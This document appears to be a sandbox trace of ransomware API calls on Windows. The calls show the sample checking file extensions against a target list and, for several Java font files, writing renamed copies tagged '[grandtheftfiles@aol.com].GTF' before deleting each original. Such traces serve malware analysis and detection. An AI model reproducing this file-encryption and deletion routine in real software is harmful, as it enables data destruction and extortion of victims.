	[0157.530] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.530] lstrlenW (lpString=".jpg") returned 4
	[0157.530] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.530] lstrlenW (lpString=".doc") returned 4
	[0157.530] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.530] lstrlenW (lpString=".docx") returned 5
	[0157.530] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1
	[0157.530] lstrlenW (lpString=".pdf") returned 4
	[0157.530] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.530] lstrlenW (lpString=".xls") returned 4
	[0157.530] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.530] lstrlenW (lpString=".xlsx") returned 5
	[0157.530] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1
	[0157.530] lstrlenW (lpString=".ppt") returned 4
	[0157.530] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.530] lstrlenW (lpString=".zip") returned 4
	[0157.530] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.530] lstrlenW (lpString=".rar") returned 4
	[0157.530] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.530] lstrlenW (lpString=".bz2") returned 4
	[0157.530] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.530] lstrlenW (lpString=".7z") returned 3
	[0157.531] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.531] lstrlenW (lpString=".dbf") returned 4
	[0157.531] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.531] lstrlenW (lpString=".1cd") returned 4
	[0157.531] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0157.531] lstrlenW (lpString=".jpg") returned 4
	[0157.531] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.531] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0157.531] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24
	[0157.531] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0157.533] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=75144) returned 1
	[0157.533] CloseHandle (hObject=0x4c0) returned 1
	[0157.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20
	[0157.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.534] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0157.534] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.534] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.534] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.536] GetLastError () returned 0x0
	[0157.536] ReadFile (in: hFile=0x4c0, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x12588, lpOverlapped=0x0) returned 1
	[0157.540] WriteFile (in: hFile=0x4c4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12590, lpOverlapped=0x0) returned 1
	[0157.543] ReadFile (in: hFile=0x4c0, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.543] WriteFile (in: hFile=0x4c4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x104, lpOverlapped=0x0) returned 1
	[0157.543] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.543] CloseHandle (hObject=0x4c4) returned 1
	[0157.543] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.543] SetEndOfFile (hFile=0x4c0) returned 1
	[0157.546] CloseHandle (hObject=0x4c0) returned 1
	[0157.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.547] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1
	[0157.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.547] lstrlenW (lpString=".doc") returned 4
	[0157.547] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0157.547] lstrlenW (lpString=".docx") returned 5
	[0157.547] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0157.548] lstrlenW (lpString=".pdf") returned 4
	[0157.548] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0157.548] lstrlenW (lpString=".xls") returned 4
	[0157.548] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0157.548] lstrlenW (lpString=".xlsx") returned 5
	[0157.548] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0157.548] lstrlenW (lpString=".ppt") returned 4
	[0157.548] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0157.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.548] lstrlenW (lpString=".zip") returned 4
	[0157.548] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0157.548] lstrlenW (lpString=".rar") returned 4
	[0157.548] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0157.548] lstrlenW (lpString=".bz2") returned 4
	[0157.548] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0157.548] lstrlenW (lpString=".7z") returned 3
	[0157.548] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0157.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.548] lstrlenW (lpString=".dbf") returned 4
	[0157.548] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0157.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.548] lstrlenW (lpString=".1cd") returned 4
	[0157.548] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0157.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.548] lstrlenW (lpString=".jpg") returned 4
	[0157.548] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0157.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.548] lstrlenW (lpString=".doc") returned 4
	[0157.548] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0157.548] lstrlenW (lpString=".docx") returned 5
	[0157.548] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0157.548] lstrlenW (lpString=".pdf") returned 4
	[0157.548] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0157.548] lstrlenW (lpString=".xls") returned 4
	[0157.548] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0157.549] lstrlenW (lpString=".xlsx") returned 5
	[0157.549] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0157.549] lstrlenW (lpString=".ppt") returned 4
	[0157.549] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0157.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.549] lstrlenW (lpString=".zip") returned 4
	[0157.549] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0157.549] lstrlenW (lpString=".rar") returned 4
	[0157.549] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0157.549] lstrlenW (lpString=".bz2") returned 4
	[0157.549] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0157.549] lstrlenW (lpString=".7z") returned 3
	[0157.549] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0157.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.549] lstrlenW (lpString=".dbf") returned 4
	[0157.549] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0157.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.549] lstrlenW (lpString=".1cd") returned 4
	[0157.549] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0157.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0157.549] lstrlenW (lpString=".jpg") returned 4
	[0157.549] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0157.549] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0157.549] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26
	[0157.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0157.550] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=75124) returned 1
	[0157.550] CloseHandle (hObject=0x4c0) returned 1
	[0157.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20
	[0157.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.550] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0157.550] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.550] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.550] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.551] GetLastError () returned 0x0
	[0157.551] ReadFile (in: hFile=0x4c0, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x12574, lpOverlapped=0x0) returned 1
	[0157.578] WriteFile (in: hFile=0x4c4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12580, lpOverlapped=0x0) returned 1
	[0157.580] ReadFile (in: hFile=0x4c0, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.580] WriteFile (in: hFile=0x4c4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x108, lpOverlapped=0x0) returned 1
	[0157.580] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.580] CloseHandle (hObject=0x4c4) returned 1
	[0157.581] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.581] SetEndOfFile (hFile=0x4c0) returned 1
	[0157.843] CloseHandle (hObject=0x4c0) returned 1
	[0157.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.991] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1
	[0158.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.361] lstrlenW (lpString=".doc") returned 4
	[0158.361] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0158.361] lstrlenW (lpString=".docx") returned 5
	[0158.361] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0158.361] lstrlenW (lpString=".pdf") returned 4
	[0158.361] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0158.361] lstrlenW (lpString=".xls") returned 4
	[0158.361] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0158.361] lstrlenW (lpString=".xlsx") returned 5
	[0158.361] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0158.361] lstrlenW (lpString=".ppt") returned 4
	[0158.361] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0158.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.361] lstrlenW (lpString=".zip") returned 4
	[0158.361] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0158.361] lstrlenW (lpString=".rar") returned 4
	[0158.361] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0158.361] lstrlenW (lpString=".bz2") returned 4
	[0158.361] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0158.361] lstrlenW (lpString=".7z") returned 3
	[0158.361] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0158.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.361] lstrlenW (lpString=".dbf") returned 4
	[0158.361] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0158.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.362] lstrlenW (lpString=".1cd") returned 4
	[0158.362] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0158.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.362] lstrlenW (lpString=".jpg") returned 4
	[0158.362] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0158.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.362] lstrlenW (lpString=".doc") returned 4
	[0158.362] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0158.362] lstrlenW (lpString=".docx") returned 5
	[0158.362] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0158.362] lstrlenW (lpString=".pdf") returned 4
	[0158.362] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0158.362] lstrlenW (lpString=".xls") returned 4
	[0158.362] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0158.362] lstrlenW (lpString=".xlsx") returned 5
	[0158.362] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0158.362] lstrlenW (lpString=".ppt") returned 4
	[0158.362] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0158.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.362] lstrlenW (lpString=".zip") returned 4
	[0158.362] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0158.362] lstrlenW (lpString=".rar") returned 4
	[0158.362] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0158.362] lstrlenW (lpString=".bz2") returned 4
	[0158.362] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0158.362] lstrlenW (lpString=".7z") returned 3
	[0158.362] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0158.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.362] lstrlenW (lpString=".dbf") returned 4
	[0158.362] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0158.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.362] lstrlenW (lpString=".1cd") returned 4
	[0158.362] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0158.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0158.362] lstrlenW (lpString=".jpg") returned 4
	[0158.363] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0158.363] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0158.363] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22
	[0158.363] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0158.673] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=317896) returned 1
	[0158.685] CloseHandle (hObject=0x4c0) returned 1
	[0158.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20
	[0158.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.685] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.697] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.697] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.697] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0158.697] GetLastError () returned 0x0
	[0158.697] ReadFile (in: hFile=0x490, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x4d9c8, lpOverlapped=0x0) returned 1
	[0158.712] WriteFile (in: hFile=0x4c0, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4d9d0, lpOverlapped=0x0) returned 1
	[0158.718] ReadFile (in: hFile=0x490, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.718] WriteFile (in: hFile=0x4c0, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x100, lpOverlapped=0x0) returned 1
	[0158.718] SetEndOfFile (hFile=0x4c0) returned 1
	[0158.718] CloseHandle (hObject=0x4c0) returned 1
	[0158.718] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.718] SetEndOfFile (hFile=0x490) returned 1
	[0158.730] CloseHandle (hObject=0x490) returned 1
	[0158.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0158.730] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1
	[0158.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.731] lstrlenW (lpString=".doc") returned 4
	[0158.731] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0158.731] lstrlenW (lpString=".docx") returned 5
	[0158.731] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0158.731] lstrlenW (lpString=".pdf") returned 4
	[0158.731] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0158.731] lstrlenW (lpString=".xls") returned 4
	[0158.731] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0158.731] lstrlenW (lpString=".xlsx") returned 5
	[0158.731] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0158.731] lstrlenW (lpString=".ppt") returned 4
	[0158.731] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0158.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.731] lstrlenW (lpString=".zip") returned 4
